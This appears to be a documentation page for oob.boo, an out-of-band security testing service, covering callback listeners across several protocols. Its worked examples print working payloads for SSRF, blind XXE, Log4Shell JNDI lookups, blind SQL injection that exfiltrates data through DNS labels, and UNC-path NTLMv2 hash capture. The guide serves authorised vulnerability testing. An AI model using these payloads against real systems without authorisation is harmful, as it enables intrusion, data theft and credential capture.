oob.boo · documentation

Out-of-band testing with oob.boo

A practical guide to out-of-band application security testing (OAST) and how to use oob.boo — a free Burp Collaborator / interactsh alternative — to prove blind vulnerabilities across eight protocols.

What is out-of-band (OAST) testing?

Many high-impact web vulnerabilities are blind: the application is exploitable, but the result never appears in the HTTP response you can see. Server-side request forgery, blind XXE, many injection flaws and unsafe deserialization all fall into this category.

Out-of-band application security testing (OAST) solves this by giving you a server the target can talk to over a side channel. You plant a unique payload that points at <token>.c.oob.boo; if the target is vulnerable it reaches out to that host, and the interaction lands in your dashboard — tagged with the source IP and network. The callback is the proof.

You security tester Vulnerable target application oob.boo 8 protocol listeners Dashboard live, attributed plant payload OOB callback DNS · HTTP · SMTP · LDAP · FTP · SMB captured
The OAST loop — a payload you control turns a blind bug into a confirmed, timestamped interaction.

How oob.boo works

Every payload you generate is keyed to a random, unguessable <token> — a 16-character subdomain of c.oob.boo. That token is both the address and the secret: only a browser holding it can read its interactions, and the token never leaves your browser.

oob.boo's authoritative DNS owns the whole c.oob.boo zone, so any lookup or connection to <token>.c.oob.boo is routed to a listener we run. Each listener — DNS, HTTP/S, SMTP/S, LDAP, FTP, SMB — records the interaction, attributes it to your token, and resolves the source IP to its owning network (ASN).

1 · Generate
Create a collaborator on the home page. No sign-up; the token lives only in your browser.
2 · Plant
Place the payload in a parameter, header, hostname, XML entity or log string you suspect is vulnerable.
3 · Watch
Any callback appears live in Recent interactions, with protocol, source IP and network.

Protocol reference

One token, eight listeners. Each protocol below shows the payload form and what a callback proves. In every diagram, <token> is your unique collaborator id.

DNS

DNS — the universal channel

A DNS lookup happens before almost any other protocol, so it's the most reliable signal. It's the channel of choice for blind SQL injection, command injection and data exfiltration — attacker-controlled data can be smuggled inside the subdomain labels.

<token>.c.oob.boo DNS query oob.boo DNS listener
HTTPHTTPS

HTTP & HTTPS — SSRF and resource loads

A full request (method, path, headers, body) is captured. This is the classic SSRF signal and also fires from blind XXE, webhook misconfigurations, PDF/image renderers and link-preview fetchers. HTTPS serves valid TLS, so strict clients still connect.

https://<token>.c.oob.boo HTTP request oob.boo HTTP/S listener
SMTPSMTPS

SMTP & SMTPS — email callbacks

Any local-part works; the token is taken from the domain. Mail delivered to the address is captured on ports 25, 587 (STARTTLS) and 465 (implicit TLS), with envelope, headers and body. Useful for finding email-injection, password-reset host poisoning and open-relay style flows.

test@<token>.c.oob.boo mail delivery oob.boo SMTP/S listener
LDAP

LDAP — JNDI / Log4Shell

The token is repeated in the path so the bind/search can be attributed (LDAP carries no hostname). It's a detection sink, not an exploit — it never serves a JNDI reference — making it safe for confirming ${jndi:ldap://…} injection.

ldap://<token>.c.oob.boo/<token> LDAP bind oob.boo LDAP listener
FTP

FTP — control-channel capture

A directory-form payload makes the client issue CWD <token> on the control channel, which is captured and attributed. Fires from XXE and SSRF against parsers that follow ftp:// URLs.

ftp://<token>.c.oob.boo/<token>/ FTP control oob.boo FTP listener
SMB

SMB — UNC paths & NTLM capture

A UNC payload coerces a Windows client to authenticate, and the NTLMv2 response is captured (hashcat -m 5600). This is the signal for forced-authentication / NTLM-relay exposure.

\\<token>.c.oob.boo\<token> SMB + NTLM oob.boo SMB listener

Worked examples

Five common blind-vulnerability classes and how a oob.boo callback confirms each.

SSRF — server-side request forgery

Point a URL parameter at your payload. If the server fetches it, the HTTP (and a preceding DNS) interaction confirms the SSRF — even when the response body is never shown.

POST /api/fetch → url=https://<token>.c.oob.boo/x
You submit url= Vulnerable server fetches the URL oob.boo HTTP + DNS inject payload GET request

Blind XXE — XML external entity

Define an external entity that resolves your payload. A vulnerable XML parser dereferences it, producing a DNS/HTTP (or FTP) callback that confirms the XXE.

<!ENTITY x SYSTEM "https://<token>.c.oob.boo/x">
You post XML XML parser resolves entity oob.boo HTTP / DNS external entity SYSTEM fetch

Log4Shell — JNDI lookup injection

Put a JNDI lookup in any value that gets logged (a header, username, search field). A vulnerable Log4j performs an LDAP lookup of your host — the LDAP interaction confirms it, no exploitation required.

User-Agent: ${jndi:ldap://<token>.c.oob.boo/x}
You logged value Log4j app expands ${jndi:} oob.boo LDAP + DNS inject string JNDI → LDAP

Blind SQL injection — DNS exfiltration

Where the DB can trigger a network lookup, you can both confirm the injection and exfiltrate data by encoding it into the subdomain. The DNS query name carries the stolen value straight to your dashboard.

'; exec master..xp_dirtree '\\'+@@version+'.<token>.c.oob.boo\a' --
You inject query Database resolves <data>.host oob.boo DNS (data in label) payload DNS lookup

Forced authentication — NTLM capture

Coerce a Windows host to open a UNC path (e.g. via an injected image/stylesheet path or a vulnerable parser). It authenticates to your SMB listener and the NTLMv2 response is captured for offline cracking or relay assessment.

<img src="\\<token>.c.oob.boo\a">
You plant UNC Windows client authenticates oob.boo NTLMv2 hash UNC path SMB auth

Privacy & data handling

  • Your collaborator tokens live only in your browser's localStorage. There is no account, and the server never lists or returns another user's tokens or interactions.
  • The token is the capability: an interaction is only readable by a client that already holds its (unguessable) token.
  • Interactions are short-lived on the free tier and expire automatically (see below). Clearing your browser data forgets the list.
  • Captured credentials (e.g. NTLMv2 hashes) are redacted from the free-tier view; revealing them is a Pro feature.

Limits & tiers

  Free Pro (coming soon)
ProtocolsAll 8All 8
Payload lifetime3 hoursExtended
Active collaborators at once3More
Source IP + network (ASN)YesYes
Captured NTLMv2 / credentialsRedactedRevealed & exportable
Account requiredNoNo

→ Generate your first payload · Read the FAQ